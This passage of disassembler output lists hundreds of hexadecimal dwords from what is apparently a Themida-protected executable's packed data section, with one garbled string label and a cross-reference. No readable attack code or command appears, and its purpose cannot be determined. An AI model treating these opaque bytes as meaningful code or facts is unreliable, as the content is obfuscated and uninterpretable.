		dd 0A2B59EEh, 55020C58h, 68042C78h, 560F4BEBh, 0FF398556h
		dd 6418D5Eh, 21325E27h,	362D4AD5h, 4C554925h, 38D7560Fh
		dd 441A56D1h, 0C2F0D681h, 91DD8E03h, 98E4F6A7h,	0BF0BDF80h
		dd 0FAD9F775h, 8081CD85h, 19638036h, 0DC205471h, 0B6000000h
		dd 52CC065Bh, 0B2F16A86h, 0D0374FC6h, 12844874h, 224FC6B3h
		dd 0B340363Ah, 0DF44FC6h, 86241AF4h, 0C9A7C3Ch,	211D6981h
		dd 677D5586h, 441D2672h, 33FF62DDh, 8D49720Ah, 17230641h
		dd 0D2E85B2Dh, 86107A58h, 641F661Dh, 0B7503B50h, 43B730B9h
		dd 65F74351h, 57F11B4Ah, 87E526Eh, 2C4CC6B5h, 41FC2905h
		dd 0B0000000h, 9EB9CF87h, 9970D952h, 0E55FBB8Eh, 58D2E85Bh
		dd 0B2F46A86h, 0D9384FC6h, 813C864Dh, 509C4E64h, 8F9B72D7h
		dd 423FBC06h, 0F1000000h, 0B38D01CDh, 3F9C4FC6h, 54D13D27h
		dd 560C39D1h, 2D17230Ah, 58D2E85Bh, 0B2F46A86h,	0CD344FC6h
		dd 863C8651h, 0EF91B41Dh, 0C7746BDBh, 0BD66C94Fh, 44DF14DFh
		dd 84BD05BFh, 0ADAA8404h, 6DA64B0h, 0FF1B3FBCh,	86D3FFFFh
		dd 606C7D55h, 4FC6B2EEh, 14AE33Eh, 99510E28h, 0ADA5D24Dh
		dd 0C080F761h, 68C10DDEh, 92A3F0FCh, 2213498Eh,	0CD53DF2Bh
		dd 8216D68h, 0D33D353Fh, 2F24560Eh, 243768E3h, 0A3D94FD8h
		dd 0AA88B560h, 31EAF56Bh, 0F2CE5B39h, 0ECB68DEh, 0C965CC56h
		dd 2C5Ch, 0E95BF200h, 825975D3h, 0EC498E9Eh, 0F872FA45h
		dd 6F560EDEh, 3B1C8C47h, 0F54CD723h, 41A83B19h,	0C7DB5B39h
		dd 91000000h, 0CC66B2A8h, 53698172h, 51DA337Fh,	32ED392Eh
		dd 46014D05h, 3BF54119h, 0C6B7072Fh, 2C786A4Fh,	337F5304h
		dd 91F21F8h, 0B6FC8F5Bh, 0CF32498Eh, 428E4871h,	42162009h
		dd 40363A26h, 0F4560EB7h, 7408C43h, 82F0B22h, 34805638h
		dd 51EF16EBh, 21F6D68h,	0B08B0062h, 0CC98A28Bh,	0D4A51D00h
		dd 50EC134Fh, 29226E67h, 4D6EF640h, 4D0E4692h, 99E84692h
		dd 1CCCBC06h, 2EBE253h,	76660000h, 7471322Ah, 796F3028h
		dd 7C52032Dh, 80570830h, 0B51DFC34h, 71EB3730h,	43ED3930h
		dd 3BF54112h, 54FC481Ah, 5E501C40h, 0CE5614DBh,	6681ABF7h
		dd 0B74E9A50h, 0BA06DC7Dh, 0DCF5E682h, 7E25808Eh, 0A1882A88h
		dd 0E95BAF95h, 854975D3h, 4FC6B311h, 2A32FC23h,	8E9ECD26h
		dd 77485949h, 0FCD77503h, 3E09550Dh, 32F842EBh,	423854CFh
		dd 25560F09h, 0FD491E37h, 6EE41F31h, 5B396B51h,	4F9B4E67h
		dd 0DF62C3h, 81FC0000h,	22945869h, 124FC6B3h, 162A16EFh
		dd 0C6B3443Ah, 1B49E84Fh, 0C6B35F4Fh, 0E832CD4Fh, 3E14455Fh
		dd 46D039F2h, 56F23E19h, 0B2F0666Ah, 13444FC6h,	0FE18F13Dh
		dd 0B7032B49h, 74664FC6h, 7B6F3028h, 1B1DF42Fh,	935705h
		dd 2E498EB7h, 321269D3h, 1C222E1Ah, 0D04FD424h,	5BEE606Ch
		dd 0E33E4FC9h, 223D1E4Ah, 223D5ED6h, 0BDF738D6h, 79C2CCBCh
		dd 1EC84h
		dd 29756700h, 2B776E2Fh, 2C787031h, 2F7B5304h, 2F7B5405h
		dd 2BB01605h, 2F70E834h, 1546EE3Ah, 194AF23Eh, 573BF541h
		dd 0DC473713h, 0EE55614h, 1A6681C4h, 99D0D52Eh,	6C4F3F0Bh
		dd 42DD4FC7h, 500652E9h, 5BCBACCDh, 68B25B9Fh, 0C488B4F0h
		dd 4FC766D2h, 0AB74C097h, 0EE51B056h, 0F562ACF8h, 82B391DDh
		dd 0A5A985D1h, 536981DBh, 0B5362F7Dh, 25EB2534h, 3CA523FCh
		dd 0AE36AEA3h, 87B0CC57h, 0ADAA84D0h, 0D6C8A4B5h, 8B4FC6CFh
		dd 0AE938CD8h, 0F450B958h, 87C00CC3h, 0A4C098A2h, 85D0A7Bh
		dd 6B94AF94h, 0B96CB26Eh, 0DA5DB976h, 0CAF6526Ah, 0B2A6F4F1h
		dd 2845B0CFh, 1A52DC45h, 498ED021h, 3B875A0Bh, 54F019F0h
		dd 39236F63h, 1D267268h, 2D881E7Fh, 0B05BA7BEh,	7AE6D6E6h
		dd 0F2F0076h, 41CD3456h, 0A364EEEh, 4E9150F9h, 936C806Ch
		dd 803C3B3Eh, 0AEB68007h, 0D1089CA2h, 61B1504Fh, 0CCB85112h
		dd 0E273E28Dh, 5D000000h, 60013B87h, 5EFF3985h,	45163E8Ah
		dd 42133D89h, 817418Dh,	0D6223DC2h, 0D8243D5Eh,	0E02C3F60h
		dd 0E7332778h, 2945696Dh, 5614DD35h, 86D2DCF7h,	0F42F7B55h
		dd 0E2E010Dh, 45764AF6h, 431A3D89h, 39D52CF7h, 88BDC531h
		dd 0B18DB149h, 14C2A99Dh, 0C8A48B56h, 5614C2D6h, 0C95FBB56h
		dd 0FCA9FA66h, 8E04FA81h, 2E7A5304h, 18415BE4h,	0E9352D43h
		dd 18220B5Eh, 0D5459347h, 8540BBDh, 402A401Fh, 45FE4A1Fh
		dd 4A0B45DCh, 0B9D34C98h, 3900F0FCh, 1F287467h,	0EF56985h
		dd 0D837CB01h, 1B247067h, 711CF74Dh, 7162539Fh,	19471A25h
		dd 10F6155h, 0E22CD3CBh, 4A209570h, 4D0556FEh, 3D194601h
		dd 64FA36F1h, 20362CA1h, 2B25FC48h, 102C786Ah, 0FDBAFFEFh
		dd 39D5CBD5h, 31104h, 63AD0000h, 1F6B8117h, 135F7324h
		dd 28746718h, 1D69801Fh, 0E5A7522h, 216D6215h, 115D7926h
		dd 236F6916h, 125E7728h, 89537419h, 4C381E3h, 57000000h
		dd 4BFh, 5FFB2900h, 5C241C87h, 75A068h,	24348900h, 6F8668h
		dd 240C8900h, 6EDA68h, 241C8900h, 4E1053BBh, 5BDE8906h
		dd 240C8B54h, 4C481h, 89530000h, 85989F3h, 81241C8Bh, 4C4h
		dd 2434FF00h, 4C48359h,	5724348Bh, 0C781E789h, 4, 8704C783h
		dd 0E95C243Ch, 0FFFA51C3h, 659A4ECEh, 0D19AD28Bh, 2BB8D2BDh
		dd 3064E2Bh, 85C650C5h,	648276Dh, 17256847h, 0B5FFCF38h
		dd 6482C21h, 3878858Dh,	0D0FF0648h, 858DD88Bh, 6481601h
		dd 1046850h, 0D3FF0000h, 276D85C6h, 68530648h, 8307F8BFh
		dd 2C21B5FFh, 858D0648h, 6483878h, 8589D0FFh, 64E0E34h
		dd 0B19BD83h, 0F000648h, 0B84h,	859D8B00h, 0E906481Fh
		dd 5, 0BBh, 1006800h, 0B58D0000h, 64E0E38h, 95FF5356h
		dd 6480F21h, 0E38B58Dh,	0F003064Eh, 1E9h, 3E804E00h, 9840F5Ch
		dd 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h,	4E0E3885h
		dd 95FF5006h, 64E0E34h,	0CDE0FF58h, 54670855h, 514BEBD4h
		dd 0A543DCE4h, 9933A329h, 78496791h, 6366C01Ch,	441C7C2h
		dd 0FE490C86h, 0B43BC53Bh, 971A01C7h, 6C42C142h, 2A0AD0F2h
		dd 464432D7h, 0D971B431h, 3C41D692h, 0BA038F18h, 6E7420D7h
		dd 0DA7E4A49h, 1C322E19h, 0B94C509Bh, 0B52616B4h, 7765EE71h
		dd 1378D94Fh, 0FA1F4A2Dh, 13631D68h, 8D75B7F4h,	4E2D968Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 8307E97Dh, 858B4391h, 6482775h, 8D8983B2h
		dd 6480A19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	84C35545h, 1ACB1E7Ch, 3585C741h, 0EC06480Fh, 0F000063h
		dd 38Bh, 9DC88000h, 242585C7h, 648h, 0C38A0000h, 1855B5FFh
		dd 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 571382C3h, 0AEAB1EDCh, 0D98B6650h, 20BD95FFh
		dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 5A310FC3h, 70B24566h, 8013E011h, 6ACBD8h
		dd 306195FFh, 0C08B0648h, 705058EBh, 59E5396Fh,	49FC8427h
		dd 0F8D0C6C2h, 0A6FC2B52h, 0B919F62Eh, 9E10D608h, 0F78F3A45h
		dd 940E593Ah, 60C7E3B3h, 3DA751E6h, 0E92E4306h,	0D7807252h
		dd 0A1E670D1h, 0FE1E39A6h, 1FF03E2Eh, 5B631D06h, 62E66392h
		dd 9517072h, 0D300FD4h,	5DE943B7h, 87BB515h, 13E85AF8h
		dd 90000000h, 343101B9h, 0A61EF131h, 0E1C4E928h, 44A8097Dh
		dd 858952C4h, 6481011h,	0C99D3358h, 81064823h, 7490C0h
		dd 0E1B52300h, 0BA06481Dh, 4C862F32h, 1237EA81h, 81664C86h
		dd 8B2E44C6h, 0DE938h, 0FAE30000h, 1DD30243h, 0D450BB6Eh
		dd 811862C4h, 8DE1B5C7h, 0D85295Fh, 8106480Fh, 0A19FA7EFh
		dd 298D8B35h, 81064815h, 4FCF01C7h, 0A5B5295Eh,	57064808h
		dd 1581B50Bh, 8F0648h, 21198D89h, 0E8810648h, 2F0E2FCh
		dd 0E75B523h, 0C0810648h, 2F0E2F8h, 28719D2Bh, 0F4A0648h
		dd 0FFFF9A85h, 8B6660FFh, 0E861F5F0h, 0Dh, 8C62F0ABh, 31505EBAh
		dd 8AAB1A55h, 168E0F76h, 0E8000000h, 0Ah, 357C31D9h, 799C010Ah
		dd 8B0F9D9Dh, 0
aZbI		db '^Z│буi',0
		align 4
		dd 0A0F678BFh, 37EF813Bh, 0B3BA0DCh, 481D999Dh,	8932FF06h
		dd 482EE58Dh, 0BE665806h, 0E8816AE7h, 100F5149h, 1E218589h
		dd 0C0810648h, 4826DDA9h, 0E890Fh, 0F600000h, 81h, 72E38100h
		dd 611256E3h, 66F2F081h, 81511847h, 82625AE6h, 66505960h
		dd 8F4F52B9h, 3D852902h, 8106480Dh, 0F19CC4EAh,	7E867h
		dd 45140000h, 0D9682588h, 68E0FBEh, 2B000000h, 4826BD8Dh
		dd 0C2815B06h, 67F19CC0h, 12B368B9h, 850F4F70h,	0FFFFFF81h
		dd 9E8h, 8E919400h, 4AE4F892h, 958903D2h, 6480015h, 9026EB59h
		dd 0EC33B61Bh, 6E558EAFh, 6C6C6474h, 6C6C642Eh,	46218800h
		dd 0D25D3407h, 0CAA360A3h, 0Ch,	0
		dd 6B2E900h, 0EC680000h, 0E9064E30h, 0FFFA4DABh, 4E318C68h
		dd 4DA1E906h, 2268FFFAh, 0E9064E32h, 0FFFA4D97h, 4E32F468h
		dd 4D8DE906h, 0DF68FFFAh, 0E9064E33h, 0FFFA4D83h, 4E34C068h
		dd 4D79E906h, 0CE9EFFFAh, 0CC89DA82h, 0D187D880h, 0D48ACB85h
		dd 0D88FD088h, 0DB5A48Ch, 0D983CF88h, 0CB85D188h, 0A38DD98Ah
		dd 9C94E0F2h, 66D8F438h, 0C65614E2h, 133F232Fh,	0D3000000h
		dd 221D6981h, 27115D75h, 0C6B3178Bh, 4D994A4Fh,	0E95B99E3h
		dd 29004C09h, 0DFFE1F3Bh, 0F21FDDE5h, 1D631F1Dh, 748DE28Dh
		dd 1F39D29Ah, 0CF3498Fh, 1F017913h, 7A66560Fh, 0F13A8661h
		dd 0E4D4E616h, 7B920492h, 0E45AB99Fh, 5B3963DFh, 21AA4h
		dd 697F5800h, 0F5229458h, 0EF12560Eh, 4F42FC16h, 0F81030C2h
		dd 29756B4Ch, 511D4B1Eh, 4FC6B35Dh, 7EE630CFh, 8E95A572h
		dd 31281149h, 37377E5h,	31560EDAh, 43DE44CEh, 3CDDA6C2h
		dd 1E1E9230h, 66815A06h, 33057955h, 827122Dh, 814D1521h
		dd 0BF52E6Ah, 8FE25DC4h, 0CA16CDADh, 0FCD40563h, 889277B0h
		dd 0CEB810DCh, 89A80DBBh, 9CE8FADBh, 0D9EFE3B4h, 0BA58B1FDh
		dd 0EDB2C19h, 0B5AE8FD8h, 95000004h, 98C973BFh,	96C771BDh
		dd 9DBE76C2h, 9ABB75C1h, 60BF79C5h, 8EDAF57Ah, 90DCF5A6h
		dd 98E4F7A8h, 9FEBFFA0h, 0F1FD21B5h, 5614E37Dh,	810A14AFh
		dd 1B3F1D69h, 0C6B35F4Fh, 0E832CD4Fh, 5519455Fh, 4FC6B361h
		dd 4FE22CD3h, 6569D7EDh, 498EBCDAh, 0D7233B2Ch,	0C0F16569h
		dd 0DC43560Eh, 0AF180B45h, 79E7FD3Fh, 0D6A3AA75h, 0A435DC4Fh
		dd 5B354DA8h, 1A3212D7h, 3E89222Eh, 0BC63E22Ch,	768EAE83h
		dd 0BEAA06CAh, 779AE862h, 0E4FAF0C9h, 0CE869FEBh, 0A989D58Dh
		dd 54203BD2h, 15A392DDh, 0F5000004h, 0F8A993DFh, 0F6A791DDh
		dd 0FD9E96E2h, 0FA9B95E1h, 0C09F99E5h, 6EBA951Ah, 70BC95C6h
		dd 78C497C8h, 7FCB9FC0h, 0D19DC1D5h, 5614E4DDh,	862A744Fh
		dd 0F2D7955h, 0C6B34B3Bh, 0EC46E94Fh, 202B776Bh, 50411B84h
		dd 4837483Fh, 0E3F94BEEh, 0B20A6985h, 0DD44498Eh, 243CFC73h
		dd 1C332438h, 21085406h, 0D8695D15h, 9ACB4FD0h,	0B7A57CC8h
		dd 0D880CC9Eh, 0D987D387h, 919DE900h, 0BDD365ACh, 0B3ACCB9Fh
		dd 0F3E44994h, 0A38591DDh, 0CC9AE7Ch, 0A7D0CAF0h, 37FB6h
		dd 418D5F00h, 438F4617h, 44904819h, 47934B0Ch, 47934C0Dh
		dd 43C80E0Dh, 4718408Ch, 4D0E4692h, 51124A96h, 0EFE34D99h
		dd 0E5AF9FABh, 667D5614h, 1D69815Ch, 0D5ED4F22h, 481B6F1Dh
		dd 83E1485Fh, 1C687E57h, 78F43E23h, 498F9B73h, 65248AF3h
		dd 649C6422h, 8BB958CAh, 0CE68B4AAh, 19D978Ah, 4F2B0000h
		dd 0FB1325A5h, 172AAB2Ch, 292417CBh, 26FF62DDh,	1DE9363Ah
		dd 0F41B498Fh, 0E7FED7E5h, 3FF37F9Bh, 7CC142F5h, 0B4B8A4BCh
		dd 3D02EC53h, 0F8441A3Bh, 0EA40DA2Fh, 0F019657Dh, 4A62E237h
		dd 0D9253D1Eh, 0C82CF94Eh, 0FA94FA2Ah, 7F5B0713h, 0C50BC71Eh
		dd 4FEBAAEBh, 0C9DA4D23h, 2814FB3Eh, 250F5B0Fh,	4125E74h
		dd 3FC91F35h, 0AD56C770h, 8D000002h, 90D18BD7h,	8ECF89D5h
		dd 0F5A68EDAh, 0F2A38DD9h, 0B8A791DDh, 86D28D12h, 88D48DCEh
		dd 90DC8FD0h, 97E3F7A8h, 0D9F5399Dh, 5614E565h,	81222CC7h
		dd 7A221D69h, 0DE388461h, 4E09E95Bh, 0C654C800h, 0B1587758h
		dd 0CE7A9376h, 0C10DC9F2h, 9872FD75h, 5DC4498Fh, 73FB70F3h
		dd 0A9F5F1D1h, 0BA539FB6h, 0CF89B28Eh, 0D561C883h, 0D76B529Dh
		dd 0EE02DE4Fh, 4FC7A578h, 67B955BCh, 0A29DE9FEh, 0E6FA66BFh
		dd 0C7A5940Ah, 9D79984Fh, 4C734662h, 70D0C128h,	0E7D0EC58h
		dd 9A0CE0F1h, 9ADEA7CDh, 0AC958E77h, 0AE250A62h, 827D86Fh
		dd 304AFA3Fh, 0CFE620E8h, 0A36CFD7h, 36AD6A46h,	0D2EB14D2h
		dd 5FEFD0D5h, 22FD23EFh, 0ED391546h, 4A203921h,	52CD1934h
		dd 97D51EFh, 2BDEA9A6h,	62331D04h, 15062470h, 64425CC7h
		dd 1C25ABBh, 0B2A20000h, 0B0ADEE66h, 0B5ABEC64h, 0B8AEEF69h
		dd 0BC93C46Ch, 7159C870h, 0ADA7F3ECh, 0AFA9F5ECh, 87B1FDEEh
		dd 80B804D6h, 8AFCD01Ch, 0AA5614E6h, 6981074Bh,	0ED4F221Dh
		dd 66569D7h, 38498E96h,	86255FD9h, 0F46A865Ah, 384FC6B2h
		dd 0B30B7BD9h, 6294FC6h, 1D33052Ch, 9DC52B3Fh, 8C734988h
		dd 0BF738CB0h, 487BD72h, 4429C87h, 94C19440h, 0B905DD7Ah
		dd 0C00CDE7Fh, 4E8C7BA4h, 69C20EC2h, 86905590h,	0B0C878C1h
		dd 9B7EB894h, 53AE4FD7h, 0F80EC4F5h, 0C27A93DFh, 0C27DC9A1h
		dd 89B7CD6Fh, 45594778h, 0F4B79EB9h, 36E2F2AAh,	73EF4BE2h
		dd 65373647h, 1E29756Dh, 0D764E04Bh, 91DDF364h,	1B2AED85h
		dd 0B5A6498Fh, 70D9529Eh, 14D884A6h, 560F09A2h,	78966F92h
		dd 0CAF6628Dh, 0E1DE3FE8h, 0C1000000h, 0A4F55FABh, 0A2F35DA9h
		dd 0A9FA62AEh, 0A6F761ADh, 6CEB65B1h, 0BA06E166h, 0BC08E182h
		dd 0C410C394h, 0CB17CB8Ch, 0DE10D91h, 5614E799h, 86F6389Bh
		dd 74667C55h, 0E1460128h, 0B995CC97h, 0C650B9BAh, 8DBBD173h
		dd 4BA99DB1h, 0ABC04FC7h, 0FC68C75Fh, 0C74B7EF0h, 0C753AE4Fh
		dd 3671CF9Bh, 40DF4989h, 36825807h, 2137310Ah, 0D831FA46h
		dd 3571E531h, 45FE4A04h, 614943DCh, 3F1D3F47h, 247062F3h
		dd 5D63911Bh, 135F4B90h, 40192F22h, 2FD62BF4h, 26966DE3h
		dd 55CE1A35h, 1D3522ECh, 243667D1h, 0CC354FD8h,	5841A443h
		dd 0A1BE5827h, 0CD83B4C5h, 1563C681h, 5C90DEA1h, 0B3A3A793h
		dd 815C90DEh, 0A59E879Eh, 0C1368DE3h, 0A7F35DA9h, 38D53A56h
		dd 0FA148014h, 0EE39855Dh, 30Fh, 1763C300h, 241F6B81h
		dd 18135F73h, 1F287467h, 221D6980h, 150E5A75h, 26216D62h
		dd 16115D79h, 28236F69h, 19125E77h, 0E0895074h,	405h, 4E88300h
		dd 31240433h, 4332404h,	89535C24h, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 2414895Ch, 6CB768h,	24048900h, 37436857h
		dd 0D15F2BA4h, 81D7F7E7h, 0F9BE9AF7h, 0F98951AEh, 5F59CA89h
		dd 204068h, 24248900h, 4240483h, 8B95158h, 1000000h, 8B1189C1h
		dd 0C483240Ch, 24048B04h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 5A2434FFh, 0E904C483h, 0FFFA470Fh, 4788D771h, 1D9ED841h
		dd 1C40C24Bh, 4E35C6B8h, 0FFC50306h, 2EB296E0h,	7CF4CF13h
		dd 3EEA85Bh, 2CAB9A5Bh,	0AB78BF23h, 0D4140209h,	0A888775Eh
		dd 0CB380645h, 4CAE250Ch, 54CE4638h, 0C9490238h, 0A207F86Fh
		dd 0E6D5F408h, 2D45D056h, 0A78F265Fh, 0CE1FF468h, 2AE37663h
		dd 281AC111h, 14E818h, 29F40000h, 29982A66h, 0C7E22422h
		dd 0D80CB209h, 7BD13083h, 0BF0FDC14h, 0E18A5FCEh, 6E53C781h
		dd 80570000h, 685AF3EDh, 0
		dd 0B85B2BB6h, 5A7B502Dh, 663B34FFh, 0E85EC38Bh, 5, 29D9CD18h
		dd 0DE8D1h, 94450000h, 0B3095600h, 14D8A7C6h, 50523D5Bh
		dd 81595A59h, 3AEA50F6h, 4EE8106h, 0E9660D2Dh, 10h, 77AD4AE1h
		dd 8342427Bh, 63DFAD62h, 0C193FE1Dh, 0D015C681h, 0B8664FE7h
		dd 0E856AB46h, 5, 29D9CD18h, 0D38B66D1h, 1F048F58h, 68F0Fh
		dd 0C9810000h, 6E84C48Ch, 13E856h, 97E60000h, 8F330EBEh
		dd 0FAEC5DD6h, 28C1A416h, 0D00D6B7Ah, 8A0F39h, 58000000h
		dd 1EB835Ah, 4B4BDCB5h,	0AE94Bh, 0FE570000h, 0A5C74E25h
		dd 36394E7Fh, 92ECFB81h, 850FFFFFh, 33h, 11E8h,	3ED37500h
		dd 0CEB52643h, 20774C86h, 43D8CC0Fh, 0AE9C0D8h,	0FB000000h
		dd 0ECD2FD4Eh, 0C3290B61h, 32E958A8h, 0BE000000h, 0E82EC002h
		dd 0F6329EBh, 108Eh, 0BE900h, 340B0000h, 41158113h, 929CC49Eh
		dd 0FEFEE94Eh, 23CDFFFFh, 58FEC032h, 0A4DF1882h, 5085ED38h
		dd 8EBBEh, 65000000h, 0E97502FFh, 4C2h,	4E390C68h, 4551E906h
		dd 9D68FFFAh, 0E9064E39h, 0FFFA4547h, 4E3AFF68h, 453DE906h
		dd 7262FFFAh, 706D2E26h, 756B2C24h, 786E2F29h, 7C53042Ch
		dd 0B1190830h, 6DE7332Ch, 6FE9352Ch, 47F13D2Eh,	40F84416h
		dd 4A3C105Ch, 0EA5614EBh, 6681C70Bh, 4773111Ah,	0C6B31383h
		dd 34FE214Fh, 79E32F23h, 8540C2Dh, 0E950EA3Fh, 47234157h
		dd 498EB678h, 0B4D05BB6h, 0D9B5DB4Bh, 1A031Ah, 0F02FE74h
		dd 216D6356h, 115D7926h, 20E33B16h, 956CB8ABh, 0D54B8AA8h
		dd 5B3965CAh, 313B9h, 0BF4F4D00h, 332D0D2Fh, 13FA461Dh
		dd 0B5824EFAh, 7498E95h, 25E33C28h, 0C1A92396h,	66728DA9h
		dd 8125E75h, 0EC65AF6Ch, 344CECB8h, 4C033408h, 42184700h
		dd 67030FF6h, 44BC95D4h, 0E52CF71Ah, 4B1F3D53h,	46F4660Fh
		dd 5586E23Dh, 5B07317Dh, 95FB6B7Fh, 0C5364AF4h,	0E6A4C35Ch
		dd 97A37EA4h, 6AC814C6h, 379350C3h, 1CB0A5CEh, 75000003h
		dd 7829135Fh, 7627115Dh, 7D1E1662h, 7A1B1561h, 401F1965h
		dd 0EE3A159Ah, 0F03C1546h, 0F8441748h, 0FF4B1F40h, 511D4155h
		dd 5614EC5Dh, 86AAF4CFh, 0F7307C55h, 0F310812h,	3F7F4BF9h
		dd 6D498885h, 709B7290h, 0E63F893Fh, 7586617Ah,	157CE559h
		dd 77E84756h, 44EC1561h, 70EE3C13h, 0A23B6E14h,	652083Bh
		dd 23DE43Dh, 87FE2F6Ah,	92C397B6h, 51B873BFh, 78019303h
		dd 0B3FFD649h, 96799178h, 0BB07DB7Ch, 0F72E65Bh, 0B7A6D135h
		dd 28Bh, 0ACA4F0E4h, 0AEA6F2EBh, 0ADA7F3EDh, 0AEA6F2ECh
		dd 0AEA6F2EDh, 0ADA227AFh, 0B3A6F761h, 0B7ACED67h, 0BAB0F16Bh
		dd 8ED2C66Eh, 14ECCCC2h, 39856056h, 2D795586h, 11EE4EE1h
		dd 0C6B3493Dh, 687AEB4Fh, 0E73E231Ch, 18135F74h, 136CD831h
		dd 7364D566h, 0BC98732Dh, 3326BA82h, 7C500C26h,	4988A53Ah
		dd 0B4CA83B4h, 5FBB529Eh, 0EAB164C9h, 4F9B4FAFh, 6BDF6DB6h
		dd 0F656156Ah, 0EC8B94E0h, 10A0ABF7h, 95B05BBAh, 0C7B793A7h
		dd 9A56156Ah, 708F77C3h, 0DB51B4A6h, 5B3FC8C8h,	177BBh
		dd 69815300h, 5D75221Dh, 5A7B2711h, 2A767187h, 55E14803h
		dd 1E4A62E2h, 8E928152h, 0E854BB49h, 55CE1ACFh,	8F1D22ECh
		dd 560ED31Bh, 0FF489446h, 0EE398560h, 74E92C42h, 3019125Eh
		dd 67506CD9h, 47092571h, 3189168Ch, 29FA5B39h, 94000000h
		dd 75D3E95Bh, 8E9E8259h, 1745EC49h, 0F4E0F606h,	0F541C541h
		dd 414E4450h, 3919560Fh, 0A35F64DAh, 0AA245B39h, 0BA000000h
		dd 221D6981h, 150E5A75h, 1B247062h, 1D915D81h, 0F4FC6B3h
		dd 213926F0h, 0B94F5BD5h, 0E14FC6B6h, 2C862EC0h, 0A24D724h
		dd 0F49954Dh, 24361828h, 371331D8h, 498C9BDCh, 0A891AF52h
		dd 0A8F963AFh, 94D363AFh, 4FCAF4EDh, 1293124h, 0D2820000h
		dd 0D08DCE86h, 0D58BCC84h, 0D88ECF89h, 0DCF3A48Ch, 11B9A890h
		dd 0CD87D38Ch, 0CF89D58Ch, 0A791DD8Eh, 0A098E4F6h, 6ADCF03Ch
		dd 0CA5614EDh, 1D86272Bh, 83506752h, 0A6B783C9h, 0AFEB65B1h
		dd 3CCFBF8Bh, 0BF924FC7h, 0B951B873h, 0C79BBC56h, 0D69BD879h
		dd 0D1877951h, 0CB859C85h, 1D698171h, 115D7522h, 0D8F05027h
		dd 0E2F506Ch, 636E0C71h, 76C8A46Eh, 0B6498FE9h,	13CCED5Bh
		dd 69E18DC7h, 0FD560F57h, 5DB905DCh, 0B69EEA00h, 15D9EAE5h
		dd 560F57A1h, 0A7956C93h, 57C7B793h, 65560Fh, 0B9909BE7h
		dd 9C81C650h, 7Fh, 25716750h, 51EB471Ah, 420EE95Bh, 4FC6B34Ch
		dd 7CE841E0h, 6F283F60h, 26C22626h, 1622600Ch, 0B75A4989h
		dd 0CB17CB6Ch, 41AD091h, 1F28014Dh, 0D916CE95h,	0CE1A3542h
		dd 0E5312255h, 0D7233D5Ah, 7924DF35h, 12824197h, 5DE63229h
		dd 44DD293Ah, 29756DEAh, 307C6E2Fh, 428E48F7h, 1F3B4709h
		dd 58D31F36h, 16F363F1h, 0DE41C4C9h, 52C7FE54h,	5BFC3480h
		dd 0DF03B87h, 3, 811763C1h, 73241F6Bh, 6718135Fh, 801F2874h
		dd 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh, 7728236Fh
		dd 7419125Eh, 81E18951h, 4C1h, 4BD5500h, 29000000h, 0C875DE9h
		dd 0B685C24h, 89000036h, 43682434h, 8900003Dh, 5553241Ch
		dd 4E381FBDh, 5DEB8906h, 685BDE89h, 35B1h, 83242489h, 5B042404h
		dd 89F58955h, 2C8B086Bh, 4C48124h, 8B000000h, 8950241Ch
		dd 405E0h, 4050000h, 87000000h,	0FF5C2404h, 835E2434h
		dd 0A0E904C4h, 76FFFA40h, 0A19832CBh, 4DB80920h, 3064E3Ch
		dd 8E0FFC5h, 0F4354896h, 204AF8A5h, 620F70B5h, 5C0685FBh
		dd 89283443h, 5B6DE444h, 90571E6Fh, 1C3214FAh, 8F1DD4F5h
		dd 0B91BB182h, 0F615073Fh, 82194E32h, 967D08D9h, 2493DE9h
		dd 28702139h, 2515C3D7h, 48273A94h, 0E87E68C0h,	10h, 7E79EFD9h
		dd 9B418801h, 4C8BFFB1h, 3F942A4Ah, 0DE9h, 0A0F77500h
		dd 760E8BD1h, 0A056996Bh, 6659C6C6h, 2C0BEB81h,	624BC181h
		dd 11E90000h, 0D3000000h, 41F79C57h, 0FAB024E8h, 0E4F05D12h
		dd 0C59713C2h, 0DFD2D1B8h, 7CE88170h, 0E970DFBAh, 6, 20FB675h
		dd 318B94A7h, 7C89F681h, 81F90301h, 7B1723F6h, 0EE938h
		dd 0AF390000h, 1DAB0340h, 59FB0EF6h, 0FD812B6Dh, 0CC0EEE81h
		dd 800F20B8h, 5, 0AF784CBBh, 81665662h,	8FA6E8D3h, 7E85101h
		dd 0CF000000h, 0E70E2A04h, 0F48ADEB9h, 0E9835B5Bh, 49D18B01h
		dd 810F4949h, 5, 0E9BBCFBFh, 850F482Bh,	21h, 0DE9h, 0F5931200h
		dd 0D58A2871h, 0A2B8076h, 24E9ACA7h, 0C3000000h, 5286274h
		dd 35BB897Ch, 58F0FFFh,	66000000h, 1CE2D781h, 0FFFF69E9h
		dd 0BFA4B4FFh, 0DA2375ACh, 8D5E42BFh, 4E3E958Dh, 3DBD8B06h
		dd 89064809h, 480A198Dh, 298D8906h, 0C7064823h,	480F3585h
		dd 6AEC06h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 85C7DAADh, 6482425h, 0
		dd 29E1B5FFh, 0B58B0648h, 648184Dh, 20BD95FFh, 6A0648h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0D942F0C3h, 0FF006A30h, 48306195h
dword_5A0C04	dd 0EBC08B06h, 5DC38C4Ah, 0A6A32B77h, 4A36F75Bh, 0DF5F57FCh
					; DATA XREF: Themida_:0053F098o
		dd 4A0D1525h, 2499F961h, 5B73FD3h, 99EECE1h, 9409110Bh
		dd 326BF194h, 0E7D04F8h, 86267230h, 0C08C1054h,	2C8571C8h
		dd 0A19A0288h, 0A97D4192h, 0CE424F6Eh, 2AFA9815h, 53056A24h
		dd 5DB13EE8h, 0ACF23256h, 55F201EEh, 0ABB13256h, 0D5B13256h
		dd 0EAE8622Dh, 75EBA596h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
